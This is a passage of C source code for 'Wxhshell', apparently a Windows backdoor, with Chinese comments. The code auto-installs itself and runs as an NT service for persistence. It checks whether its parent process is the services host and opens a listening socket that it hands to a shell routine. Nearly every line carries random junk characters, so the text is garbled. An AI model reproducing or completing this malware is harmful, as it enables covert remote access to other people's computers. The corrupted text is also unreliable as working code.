P`Hd*xh".j
PROCNTQSIP NtQueryInformationProcess; _V_8p)%
a'_MhJ zs
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \p>]G[g
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y^c,mK^
X] JpS
HANDLE hProcess; C0t+Q
PROCESS_BASIC_INFORMATION pbi; ,E*a$cCw
?RRSrr1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :Fi%Cef|
if(NULL == hInst ) return 0; IS0HV$OI
h30QCk
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DJ
mQZ+{2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (PsSE:r}+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =BqaGXr
5I8FD".i
if (!NtQueryInformationProcess) return 0; [x$eF~Kp
-CU7u=*b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A]tf>H#1
if(!hProcess) return 0; I9:G9
>?G|Yz*kEJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F653[[eQ
N#pl mPrZ
CloseHandle(hProcess); PxP?hk
rx}ujjx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N1s$3Ul
if(hProcess==NULL) return 0; :"<B@Z
6PzN>+t^y
HMODULE hMod; 7/^TwNsv
char procName[255]; ~q8V<@?
unsigned long cbNeeded; Zv1Bju*y
7'{Yz
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r'9=kx
o/x5
CloseHandle(hProcess); wQdW
lon
!ulLGmUn
if(strstr(procName,"services")) return 1; // 以服务启动 5|6z1{g8
."!8B9s
return 0; // 注册表启动 VJ6>3
} 8H3!; ]
q5I4'6NF
// 主模块 oxCs*
int StartWxhshell(LPSTR lpCmdLine) ~7ATt8T
{ VHgF#6'
SOCKET wsl; K)h"G#NZM
BOOL val=TRUE; I7G\X#,iz
int port=0; m m J)m
struct sockaddr_in door; XZep7d}
[KimY
if(wscfg.ws_autoins) Install(); PO%yWns30o
g<hv7?"[
port=atoi(lpCmdLine); t'=~"?T/o
CQ8o9A/
if(port<=0) port=wscfg.ws_port; U&w5&W{F}
{M)3GsP?
WSADATA data; ^+-L;XkeY
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?9('o\N:
/K1$_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l9ifUhe
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D25gg
door.sin_family = AF_INET; {o5K?Pb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9A}
kkMB:
door.sin_port = htons(port); j0pvLZjM
:_~PU$%0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,8J*S
closesocket(wsl); LKf5r,C
return 1; !aW*dD61
} %8}ksl07
7u`}t83a
if(listen(wsl,2) == INVALID_SOCKET) { #hE3~+i
closesocket(wsl); o$blPTN
return 1; ,I2reG
} jC/JiI
Wxhshell(wsl); qh(-shZ4Du
WSACleanup(); UwL"%0u
jzJ1+/9
return 0; L
yA(.
e\
l,gQP
} S)'q:`tZo
O 44IH`SI
// 以NT服务方式启动 e}Af"LI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vZ nO
{ H8t{ >C)]
DWORD status = 0; <E}]t,'3
DWORD specificError = 0xfffffff; '9p5UC
mk`cyN>m
serviceStatus.dwServiceType = SERVICE_WIN32; XM@-Y&c$A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .f92^lu9
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }_kI>
serviceStatus.dwWin32ExitCode = 0; 5k%N<e``
serviceStatus.dwServiceSpecificExitCode = 0; y8~)/)l&
serviceStatus.dwCheckPoint = 0; 6rN5Xf cS
serviceStatus.dwWaitHint = 0; }'.Sn{OWf
Zs$RKJ7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^$Eiz.
if (hServiceStatusHandle==0) return; =iK6/ y`
GaK_9Eg-2
status = GetLastError(); E]eqvT NH
if (status!=NO_ERROR) %*Z2Gef?H
{ }PIGj} F/
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9}qfdbI
serviceStatus.dwCheckPoint = 0; c7nk~K[6
serviceStatus.dwWaitHint = 0; +} ! F(c
serviceStatus.dwWin32ExitCode = status; z7Rcnr;
serviceStatus.dwServiceSpecificExitCode = specificError; ,?~UpsUx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,md7.z]U~
return; q/2K=BOh
} xZ'`_x9l
.vOpU4
serviceStatus.dwCurrentState = SERVICE_RUNNING; |b'<XQ&l5
serviceStatus.dwCheckPoint = 0; k89gJ5B$
serviceStatus.dwWaitHint = 0; (+Kof
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hq8/`u
YF
} zUUxxS_?
_~S^#ut+
// 处理NT服务事件,比如:启动、停止 WPp\sIP
VOID WINAPI NTServiceHandler(DWORD fdwControl) zR JKIm
{ O->(9k <
switch(fdwControl) 'ZZWH
{ vkd<l&zD
case SERVICE_CONTROL_STOP: RAuAIiQ
serviceStatus.dwWin32ExitCode = 0; d7K17KiC
serviceStatus.dwCurrentState = SERVICE_STOPPED; !q6V@&
serviceStatus.dwCheckPoint = 0; ;pNbKf:
serviceStatus.dwWaitHint = 0; *sIG&
{ l[\,*C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m2<
*
} soVZz3F
return; teS0F
case SERVICE_CONTROL_PAUSE: h, 6S$,UI
serviceStatus.dwCurrentState = SERVICE_PAUSED; .'2gJ"?,
break; dR, NC-*
case SERVICE_CONTROL_CONTINUE: ZNC?Ntw
serviceStatus.dwCurrentState = SERVICE_RUNNING; bb:|1D
break; `J,~hK
case SERVICE_CONTROL_INTERROGATE: /'=^^%&:B